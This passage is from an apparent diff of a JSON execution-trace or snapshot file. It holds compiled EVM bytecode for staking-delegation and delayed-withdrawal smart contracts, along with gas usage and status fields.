56001600160401b038111156150f857600080fd5b61510485828601614cb6565b9150509250929050565b600081518084526020840193506020830160005b82811015615140578151865260209586019590910190600101615122565b5093949350505050565b6020815260006149b8602083018461510e565b6000806020838503121561517057600080fd5b82356001600160401b0381111561518657600080fd5b61482b85828601614907565b600080604083850312156151a557600080fd5b82356151b081614837565b946020939093013593505050565b600080600080608085870312156151d457600080fd5b84356151df81614837565b93506020850135925060408501356151f681614837565b9396929550929360600135925050565b600081518084526020840193506020830160005b828110156151405781516001600160a01b031686526020958601959091019060010161521a565b6040815260006152546040830185615206565b828103602084015261120f818561510e565b60008060006060848603121561527b57600080fd5b833561528681614837565b925060208401356001600160401b038111156152a157600080fd5b6152ad86828701614f80565b93969395505050506040919091013590565b6000606082840312156152d157600080fd5b6149b883836148ef565b634e487b7160e01b600052603260045260246000fd5b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b60008235605e1983360301811261533e57600080fd5b9190910192915050565b6000808335601e1984360301811261535f57600080fd5b8301803591506001600160401b0382111561537957600080fd5b6020019150600581901b36038213156144cf57600080fd5b6060810182356153a081614837565b6001600160a01b0316825260208301356153b981614837565b6001600160a01b0316602083015260408301356153d581614c76565b63ffffffff811660408401525092915050565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b60006020828403121561542957600080fd5b81516149b881614837565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b60208082526037908201527f44656c65676174696f6e4d616e616765723a206f6e6c7953747261746567794d60408201527f616e616765724f72456967656e506f644d616e61676572000000000000000000606082015260800190565b6000602082840312156154ed57600080fd5b81516149b881614ea9565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b6000823560de1983360301811261533e57600080fd5b60006020828403121561556857600080fd5b81356149b881614ea9565b80516001600160a01b03908116835260208083015182169084015260408083015190911690830152606080820151908301526080808201516000916155bf9085018263ffffffff169052565b5060a082015160e060a08501526155d960e0850182615206565b905060c083015184820360c086015261120f828261510e565b6020815260006149b86020830184615573565b60006020828403121561561757600080fd5b5051919050565b600082601f83011261562f57600080fd5b815161563d614cd582614c93565b8082825260208201915060208360051b86010192508583111561565f57600080fd5b602085015b83811015614d22578051835260209283019201615664565b6000806040838503121561568f57600080fd5b82516001600160401b038111156156a557600080fd5b8301601f810185136156b657600080fd5b80516156c4614cd582614c93565b8082825260208201915060208360051b8501019250878311156156e657600080fd5b6020840193505b8284101561571157835161570081614837565b8252602093840193909101906156ed565b8095505050505060208301516001600160401b0381111561573157600080fd5b6151048582860161561e565b634e487b7160e01b600052601160045260246000fd5b808201808211156109c2576109c261573d565b818103818111156109c2576109c261573d565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6000600182016157af576157af61573d565b5060010190565b828152604060208201526000614e7e6040830184615573565b6000602082840312156157e157600080fd5b81356149b881614c76565b80546001600160a01b0319166001600160a01b0392909216919091179055565b813561581781614837565b61582181836157ec565b5060018101602083013561583481614837565b61583e81836157ec565b50604083013561584d81614c76565b815463ffffffff60a01b191660a09190911b63ffffffff60a01b161790555050565b60006109c23683614d8a565b6020808252606e9082015260008051602061599983398151915260408201527f645769746864726177616c3a207769746864726177616c44656c6179426c6f6360608201527f6b7320706572696f6420686173206e6f74207965742070617373656420666f7260808201526d207468697320737472617465677960901b60a082015260c00190565b828152604060208201526000825180604084015260005b81811015615937576020818601810151606086840101520161591a565b506000606082850101526060601f19601f8301168401019150509392505050565b60006020828403121561596a57600080fd5b81516001600160e01b0319811681146149b857600080fd5b634e487b7160e01b600052602160045260246000fdfe44656c65676174696f6e4d616e616765722e5f636f6d706c6574655175657565a2646970667358221220cbe856cde7c5bcfd582d4b89705de7c9eaac9afdc5d0cafafaf46a903a95abd164736f6c634300081b0033", + "gas_used": 4634013, + "gas_limit": 6148339, "status": "Return", "steps": [], "decoded": { @@ -5630,27 +5826,27 @@ } ], "exit": "Return", - "out": "0x60806040526004361061014b5760003560e01c806385594e58116100b6578063e4f4f8871161006f578063e4f4f887146103cc578063e5db06c014610405578063eb990c5914610425578063ecb7cb1b14610445578063f2fde38b14610472578063fabc1cbc1461049257600080fd5b806385594e5814610317578063886f1195146103445780638da5cb5b14610364578063c0db354c14610382578063ca661c0414610395578063d44e1b76146103ac57600080fd5b806350f73e7c1161010857806350f73e7c14610254578063595c6a67146102785780635ac86ab71461028d5780635c975abb146102cd578063715018a6146102e257806375608896146102f757600080fd5b806310d67a2f14610150578063136439dd146101725780631f39d87f146101925780633e1de008146101c85780634665bcda146101e85780634d50f9a414610234575b600080fd5b34801561015c57600080fd5b5061017061016b366004611948565b6104b2565b005b34801561017e57600080fd5b5061017061018d36600461196c565b61056e565b34801561019e57600080fd5b506101b26101ad366004611948565b6106ad565b6040516101bf91906119a3565b60405180910390f35b3480156101d457600080fd5b506101b26101e3366004611948565b610893565b3480156101f457600080fd5b5061021c7f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe681565b6040516001600160a01b0390911681526020016101bf565b34801561024057600080fd5b5061017061024f36600461196c565b6109ce565b34801561026057600080fd5b5061026a60c95481565b6040519081526020016101bf565b34801561028457600080fd5b506101706109df565b34801561029957600080fd5b506102bd6102a83660046119f1565b609854600160ff9092169190911b9081161490565b60405190151581526020016101bf565b3480156102d957600080fd5b5060985461026a565b3480156102ee57600080fd5b50610170610aa6565b34801561030357600080fd5b506102bd610312366004611a14565b610aba565b34801561032357600080fd5b50610337610332366004611a14565b610b3d565b6040516101bf9190611a40565b34801561035057600080fd5b5060975461021c906001600160a01b031681565b34801561037057600080fd5b506033546001600160a01b031661021c565b610170610390366004611a4e565b610bbd565b3480156103a157600080fd5b5061026a62034bc081565b3480156103b857600080fd5b506101706103c736600461196c565b610e7c565b3480156103d857600080fd5b5061026a6103e7366004611948565b6001600160a01b0316600090815260ca602052604090206001015490565b34801561041157600080fd5b50610170610420366004611a14565b610f0e565b34801561043157600080fd5b50610170610440366004611a87565b610fa1565b34801561045157600080fd5b50610465610460366004611948565b6110c9565b6040516101bf9190611acd565b34801561047e57600080fd5b5061017061048d366004611948565b611183565b34801561049e57600080fd5b506101706104ad36600461196c565b6111f9565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610505573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105299190611b25565b6001600160a01b0316336001600160a01b0316146105625760405162461bcd60e51b815260040161055990611b42565b60405180910390fd5b61056b81611355565b50565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156105b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105da9190611b8c565b6105f65760405162461bcd60e51b815260040161055990611bae565b6098548181161461066f5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610559565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b6001600160a01b038116600090815260ca6020526040812080546001909101546060926106da8383611c0c565b90508060005b8281101561077c576001600160a01b038716600090815260ca6020526040812060010161070d8388611c1f565b8154811061071d5761071d611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810182905260c95490925061076391611c1f565b431015610773578192505061077c565b506001016106e0565b508060008167ffffffffffffffff81111561079957610799611c48565b6040519080825280602002602001820160405280156107de57816020015b60408051808201909152600080825260208201528152602001906001900390816107b75790505b50905081156108885760005b82811015610886576001600160a01b038916600090815260ca602052604090206001016108178289611c1f565b8154811061082757610827611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810191909152825183908390811061087357610873611c32565b60209081029190910101526001016107ea565b505b979650505050505050565b6001600160a01b038116600090815260ca6020526040812080546001909101546060926108c08383611c0c565b905060008167ffffffffffffffff8111156108dd576108dd611c48565b60405190808252806020026020018201604052801561092257816020015b60408051808201909152600080825260208201528152602001906001900390816108fb5790505b50905060005b828110156109c4576001600160a01b038716600090815260ca602052604090206001016109558287611c1f565b8154811061096557610965611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff169181019190915282518390839081106109b1576109b1611c32565b6020908102919091010152600101610928565b5095945050505050565b6109d661144c565b61056b816114a6565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610a27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4b9190611b8c565b610a675760405162461bcd60e51b815260040161055990611bae565b600019609881905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610aae61144c565b610ab8600061156e565b565b6001600160a01b038216600090815260ca60205260408120548210801590610b34575060c9546001600160a01b038416600090815260ca60205260409020600101805484908110610b0d57610b0d611c32565b600091825260209091200154610b309190600160e01b900463ffffffff16611c1f565b4310155b90505b92915050565b60408051808201909152600080825260208201526001600160a01b038316600090815260ca60205260409020600101805483908110610b7e57610b7e611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff16918101919091529392505050565b60405163a38406a360e01b81526001600160a01b038084166004830152839133917f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6169063a38406a390602401602060405180830381865afa158015610c27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4b9190611b25565b6001600160a01b031614610cc75760405162461bcd60e51b815260206004820152603d60248201527f44656c617965645769746864726177616c526f757465722e6f6e6c794569676560448201527f6e506f643a206e6f7420706f644f776e6572277320456967656e506f640000006064820152608401610559565b609854600090600190811603610cef5760405162461bcd60e51b815260040161055990611c5e565b6001600160a01b038316610d855760405162461bcd60e51b815260206004820152605160248201527f44656c617965645769746864726177616c526f757465722e637265617465446560448201527f6c617965645769746864726177616c3a20726563697069656e742063616e6e6f60648201527074206265207a65726f206164647265737360781b608482015260a401610559565b346001600160e01b03811615610e75576040805180820182526001600160e01b03808416825263ffffffff43811660208085019182526001600160a01b038a16600081815260ca8352968720600190810180548083018255818a5293892088519551909616600160e01b029490961693909317939091019290925593525490917fb8f1b14c7caf74150801dcc9bc18d575cbeaf5b421943497e409df92c92e0f5991889188918691610e3691611c0c565b604080516001600160a01b0395861681529490931660208501526001600160e01b039091169183019190915260608201526080015b60405180910390a1505b5050505050565b600260655403610ece5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610559565b6002606555609854600090600190811603610efb5760405162461bcd60e51b815260040161055990611c5e565b610f0533836115c0565b50506001606555565b600260655403610f605760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610559565b6002606555609854600090600190811603610f8d5760405162461bcd60e51b815260040161055990611c5e565b610f9783836115c0565b5050600160655550565b600054610100900460ff1615808015610fc15750600054600160ff909116105b80610fdb5750303b158015610fdb575060005460ff166001145b61103e5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610559565b6000805460ff191660011790558015611061576000805461ff0019166101001790555b61106a8561156e565b611074848461172b565b61107d826114a6565b8015610e75576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15050505050565b6040805180820190915260008152606060208201526001600160a01b038216600090815260ca6020908152604080832081518083018352815481526001820180548451818702810187019095528085529195929486810194939192919084015b8282101561117557600084815260209081902060408051808201909152908401546001600160e01b0381168252600160e01b900463ffffffff1681830152825260019092019101611129565b505050915250909392505050565b61118b61144c565b6001600160a01b0381166111f05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610559565b61056b8161156e565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561124c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112709190611b25565b6001600160a01b0316336001600160a01b0316146112a05760405162461bcd60e51b815260040161055990611b42565b60985419811960985419161461131e5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610559565b609881905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016106a2565b6001600160a01b0381166113e35760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610559565b609754604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1609780546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b03163314610ab85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610559565b62034bc081111561152d5760405162461bcd60e51b815260206004820152604560248201527f44656c617965645769746864726177616c526f757465722e5f7365745769746860448201527f64726177616c44656c6179426c6f636b733a206e657756616c756520746f6f206064820152646c6172676560d81b608482015260a401610559565b60c95460408051918252602082018390527f4ffb00400574147429ee377a5633386321e66d45d8b14676014b5fa393e61e9e910160405180910390a160c955565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600090815260ca602052604081208054600190910154825b84811080156115f95750816115f78285611c1f565b105b156116a6576001600160a01b038616600090815260ca602052604081206001016116238386611c1f565b8154811061163357611633611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810182905260c95490925061167991611c1f565b43101561168657506116a6565b805161169b906001600160e01b031686611c1f565b9450506001016115e2565b6116b08184611c1f565b6001600160a01b038716600090815260ca602052604090205583156116d9576116d98685611815565b7f6b7151500bd0b5cc211bcc47b3029831b769004df4549e8e1c9a69da05bb094386856117068487611c1f565b604080516001600160a01b039094168452602084019290925290820152606001610e6b565b6097546001600160a01b031615801561174c57506001600160a01b03821615155b6117ce5760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610559565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a261181182611355565b5050565b804710156118655760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610559565b6000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146118b2576040519150601f19603f3d011682016040523d82523d6000602084013e6118b7565b606091505b505090508061192e5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610559565b505050565b6001600160a01b038116811461056b57600080fd5b60006020828403121561195a57600080fd5b813561196581611933565b9392505050565b60006020828403121561197e57600080fd5b5035919050565b80516001600160e01b0316825260209081015163ffffffff16910152565b602080825282518282018190526000918401906040840190835b818110156119e6576119d0838551611985565b60209390930192604092909201916001016119bd565b509095945050505050565b600060208284031215611a0357600080fd5b813560ff8116811461196557600080fd5b60008060408385031215611a2757600080fd5b8235611a3281611933565b946020939093013593505050565b60408101610b378284611985565b60008060408385031215611a6157600080fd5b8235611a6c81611933565b91506020830135611a7c81611933565b809150509250929050565b60008060008060808587031215611a9d57600080fd5b8435611aa881611933565b93506020850135611ab881611933565b93969395505050506040820135916060013590565b6020808252825182820152828101516040808401528051606084018190526000929190910190829060808501905b808310156109c457611b0e828551611985565b604082019150602084019350600183019250611afb565b600060208284031215611b3757600080fd5b815161196581611933565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611b9e57600080fd5b8151801515811461196557600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b81810381811115610b3757610b37611bf6565b80820180821115610b3757610b37611bf6565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b60208082526019908201527f5061757361626c653a20696e646578206973207061757365640000000000000060408201526060019056fea264697066735822122006da243d7e477e428ad2745c456c9ef84e039e1a55dc000ea6c524cb236906b864736f6c634300081c0033", - "nonce": 18, - "gas_used": 1676212 + "out": "0x608060405234801561001057600080fd5b50600436106103425760003560e01c8063635bbd10116101b8578063b7f06ebe11610104578063cf80873e116100a2578063f16172b01161007c578063f16172b014610908578063f2fde38b1461091b578063f698da251461092e578063fabc1cbc1461093657600080fd5b8063cf80873e146108c1578063da8be864146108e2578063eea9064b146108f557600080fd5b8063c488375a116100de578063c488375a146107de578063c5e480db146107fe578063c94b5111146108a4578063ca661c04146108b757600080fd5b8063b7f06ebe14610784578063bb45fef2146107a7578063c448feb8146107d557600080fd5b8063886f1195116101715780639104c3191161014b5780639104c3191461070f57806399be81c81461072a578063a17884841461073d578063b13442711461075d57600080fd5b8063886f1195146106cb5780638da5cb5b146106de57806390041347146106ef57600080fd5b8063635bbd101461063657806365da1264146106495780636d70f7ae14610672578063715018a614610685578063778e55f31461068d5780637f548071146106b857600080fd5b806328a573ae116102925780634665bcda11610230578063597b36da1161020a578063597b36da146105e55780635ac86ab7146105f85780635c975abb1461061b57806360d7faed1461062357600080fd5b80634665bcda146105ac5780634fc40b61146105d3578063595c6a67146105dd57600080fd5b806339b70e381161026c57806339b70e38146104f45780633cdeb5e0146105335780633e28391d14610562578063433773821461058557600080fd5b806328a573ae146104ae57806329c77d4f146104c157806333404396146104e157600080fd5b8063132d4967116102ff57806316928365116102d957806316928365146104285780631bbce0911461046157806320606b701461047457806322bf40e41461049b57600080fd5b8063132d4967146103ef578063136439dd146104025780631522bf021461041557600080fd5b80630449ca391461034757806304a4f9791461036d5780630b9f487a146103945780630dd8dd02146103a75780630f589e59146103c757806310d67a2f146103dc575b600080fd5b61035a6103553660046147f6565b610949565b6040519081526020015b60405180910390f35b61035a7f14bde674c9f64b2ad00eaaee4a8bed1fabef35c7507e3c5b9cfc9436909a2dad81565b61035a6103a236600461485c565b6109c8565b6103ba6103b53660046147f6565b610a8a565b60405161036491906148b7565b6103da6103d5366004614948565b610de8565b005b6103da6103ea36600461499b565b610f2d565b6103da6103fd3660046149bf565b610fe0565b6103da610410366004614a00565b611097565b6103da610423366004614a19565b6111d6565b61035a61043636600461499b565b6001600160a01b0316600090815260996020526040902060010154600160a01b900463ffffffff1690565b61035a61046f3660046149bf565b6111ea565b61035a7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6103da6104a9366004614a88565b611218565b6103da6104bc3660046149bf565b61135c565b61035a6104cf36600461499b565b609b6020526000908152604090205481565b6103da6104ef366004614b33565b61140c565b61051b7f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c981565b6040516001600160a01b039091168152602001610364565b61051b61054136600461499b565b6001600160a01b039081166000908152609960205260409020600101541690565b61057561057036600461499b565b61153f565b6040519015158152602001610364565b61035a7f39111bc4a4d688e1f685123d7497d4615370152a8ee4a0593e647bd06ad8bb0b81565b61051b7f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe681565b61035a6213c68081565b6103da61155f565b61035a6105f3366004614e4a565b611626565b610575610606366004614e86565b606654600160ff9092169190911b9081161490565b60665461035a565b6103da610631366004614eb7565b611656565b6103da610644366004614a00565b6116ef565b61051b61065736600461499b565b609a602052600090815260409020546001600160a01b031681565b61057561068036600461499b565b611700565b6103da611721565b61035a61069b366004614f47565b609860209081526000928352604080842090915290825290205481565b6103da6106c636600461502b565b611735565b60655461051b906001600160a01b031681565b6033546001600160a01b031661051b565b6107026106fd3660046150bf565b611961565b604051610364919061514a565b61051b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6103da61073836600461515d565b611a33565b61035a61074b36600461499b565b609f6020526000908152604090205481565b61051b7f000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c85381565b610575610792366004614a00565b609e6020526000908152604090205460ff1681565b6105756107b5366004615192565b609c60209081526000928352604080842090915290825290205460ff1681565b61035a609d5481565b61035a6107ec36600461499b565b60a16020526000908152604090205481565b61086e61080c36600461499b565b6040805160608082018352600080835260208084018290529284018190526001600160a01b03948516815260998352839020835191820184528054851682526001015493841691810191909152600160a01b90920463ffffffff169082015290565b6040805182516001600160a01b039081168252602080850151909116908201529181015163ffffffff1690820152606001610364565b61035a6108b23660046151be565b611b05565b61035a62034bc081565b6108d46108cf36600461499b565b611bbe565b604051610364929190615241565b6103ba6108f036600461499b565b611f75565b6103da610903366004615266565b61242e565b6103da6109163660046152bf565b61254b565b6103da61092936600461499b565b6125dc565b61035a612652565b6103da610944366004614a00565b61268f565b609d54600090815b838110156109be57600060a16000878785818110610971576109716152db565b9050602002016020810190610986919061499b565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828111156109b5578092505b50600101610951565b5090505b92915050565b604080517f14bde674c9f64b2ad00eaaee4a8bed1fabef35c7507e3c5b9cfc9436909a2dad6020808301919091526001600160a01b038681168385015288811660608401528716608083015260a0820185905260c08083018590528351808403909101815260e0909201909252805191012060009081610a46612652565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f19018152919052805160209091012098975050505050505050565b606654606090600190600290811603610abe5760405162461bcd60e51b8152600401610ab5906152f1565b60405180910390fd5b6000836001600160401b03811115610ad857610ad8614be6565b604051908082528060200260200182016040528015610b01578160200160208202803683370190505b50336000908152609a60205260408120549192506001600160a01b03909116905b85811015610ddd57868682818110610b3c57610b3c6152db565b9050602002810190610b4e9190615328565b610b5c906020810190615348565b9050878783818110610b7057610b706152db565b9050602002810190610b829190615328565b610b8c9080615348565b905014610c015760405162461bcd60e51b815260206004820152603860248201527f44656c65676174696f6e4d616e616765722e717565756557697468647261776160448201527f6c3a20696e707574206c656e677468206d69736d6174636800000000000000006064820152608401610ab5565b33878783818110610c1457610c146152db565b9050602002810190610c269190615328565b610c3790606081019060400161499b565b6001600160a01b031614610cb35760405162461bcd60e51b815260206004820152603c60248201527f44656c65676174696f6e4d616e616765722e717565756557697468647261776160448201527f6c3a2077697468647261776572206d757374206265207374616b6572000000006064820152608401610ab5565b610db83383898985818110610cca57610cca6152db565b9050602002810190610cdc9190615328565b610ced90606081019060400161499b565b8a8a86818110610cff57610cff6152db565b9050602002810190610d119190615328565b610d1b9080615348565b808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152508e92508d9150889050818110610d6157610d616152db565b9050602002810190610d739190615328565b610d81906020810190615348565b808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152506127eb92505050565b838281518110610dca57610dca6152db565b6020908102919091010152600101610b22565b509095945050505050565b610df13361153f565b15610e775760405162461bcd60e51b815260206004820152604a60248201527f44656c65676174696f6e4d616e616765722e726567697374657241734f70657260448201527f61746f723a2063616c6c657220697320616c7265616479206163746976656c796064820152690819195b1959d85d195960b21b608482015260a401610ab5565b610e813384612dad565b604080518082019091526060815260006020820152610ea33380836000612fa0565b336001600160a01b03167f8e8485583a2310d41f7c82b9427d0bd49bad74bb9cff9d3402a29d8f9b28a0e285604051610edc9190615391565b60405180910390a2336001600160a01b03167f02a919ed0e2acad1dd90f17ef2fa4ae5462ee1339170034a8531cca4b67080908484604051610f1f9291906153e8565b60405180910390a250505050565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa49190615417565b6001600160a01b0316336001600160a01b031614610fd45760405162461bcd60e51b8152600401610ab590615434565b610fdd81613235565b50565b336001600160a01b037f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c916148061103f5750336001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe616145b61105b5760405162461bcd60e51b8152600401610ab59061547e565b6110648361153f565b15611092576001600160a01b038084166000908152609a6020526040902054166110908185858561332c565b505b505050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156110df573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110391906154db565b61111f5760405162461bcd60e51b8152600401610ab5906154f8565b606654818116146111985760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610ab5565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b6111de6133a7565b61109084848484613401565b6001600160a01b0383166000908152609b602052604081205461120f85828686611b05565b95945050505050565b600054610100900460ff16158080156112385750600054600160ff909116105b806112525750303b158015611252575060005460ff166001145b6112b55760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610ab5565b6000805460ff1916600117905580156112d8576000805461ff0019166101001790555b6112e28888613621565b6112ea61370b565b6097556112f6896137a2565b6112ff866137f4565b61130b85858585613401565b8015611351576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b505050505050505050565b336001600160a01b037f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c91614806113bb5750336001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe616145b6113d75760405162461bcd60e51b8152600401610ab59061547e565b6113e08361153f565b15611092576001600160a01b038084166000908152609a602052604090205416611090818585856138ee565b6066546002906004908116036114345760405162461bcd60e51b8152600401610ab5906152f1565b600260c954036114865760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610ab5565b600260c95560005b8881101561152e576115268a8a838181106114ab576114ab6152db565b90506020028101906114bd9190615540565b8989848181106114cf576114cf6152db565b90506020028101906114e19190615348565b8989868181106114f3576114f36152db565b9050602002013588888781811061150c5761150c6152db565b90506020020160208101906115219190615556565b613969565b60010161148e565b5050600160c9555050505050505050565b6001600160a01b039081166000908152609a602052604090205416151590565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156115a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115cb91906154db565b6115e75760405162461bcd60e51b8152600401610ab5906154f8565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b60008160405160200161163991906155f2565b604051602081830303815290604052805190602001209050919050565b60665460029060049081160361167e5760405162461bcd60e51b8152600401610ab5906152f1565b600260c954036116d05760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610ab5565b600260c9556116e28686868686613969565b5050600160c95550505050565b6116f76133a7565b610fdd816137f4565b6001600160a01b039081166000818152609a60205260409020549091161490565b6117296133a7565b61173360006137a2565b565b42836020015110156117b95760405162461bcd60e51b815260206004820152604160248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a207374616b6572207369676e6174757265206578706972656064820152601960fa1b608482015260a401610ab5565b6117c28561153f565b1561184b5760405162461bcd60e51b815260206004820152604d60248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a207374616b657220697320616c726561647920616374697660648201526c195b1e4819195b1959d85d1959609a1b608482015260a401610ab5565b61185484611700565b6118e05760405162461bcd60e51b815260206004820152605160248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a206f70657261746f72206973206e6f7420726567697374656064820152703932b21034b71022b4b3b2b72630bcb2b960791b608482015260a401610ab5565b6000609b6000876001600160a01b03166001600160a01b03168152602001908152602001600020549050600061191c8783888860200151611b05565b6001600160a01b0388166000908152609b60205260409020600184019055855190915061194c9088908390614152565b61195887878686612fa0565b50505050505050565b6060600082516001600160401b0381111561197e5761197e614be6565b6040519080825280602002602001820160405280156119a7578160200160208202803683370190505b50905060005b83518110156109be576001600160a01b038516600090815260986020526040812085519091908690849081106119e5576119e56152db565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054828281518110611a2057611a206152db565b60209081029190910101526001016119ad565b611a3c33611700565b611abe5760405162461bcd60e51b815260206004820152604760248201527f44656c65676174696f6e4d616e616765722e7570646174654f70657261746f7260448201527f4d657461646174615552493a2063616c6c6572206d75737420626520616e206f6064820152663832b930ba37b960c91b608482015260a401610ab5565b336001600160a01b03167f02a919ed0e2acad1dd90f17ef2fa4ae5462ee1339170034a8531cca4b67080908383604051611af99291906153e8565b60405180910390a25050565b604080517f39111bc4a4d688e1f685123d7497d4615370152a8ee4a0593e647bd06ad8bb0b6020808301919091526001600160a01b0387811683850152851660608301526080820186905260a08083018590528351808403909101815260c0909201909252805191012060009081611b7b612652565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f190181529190528051602090910120979650505050505050565b6040516360f4062b60e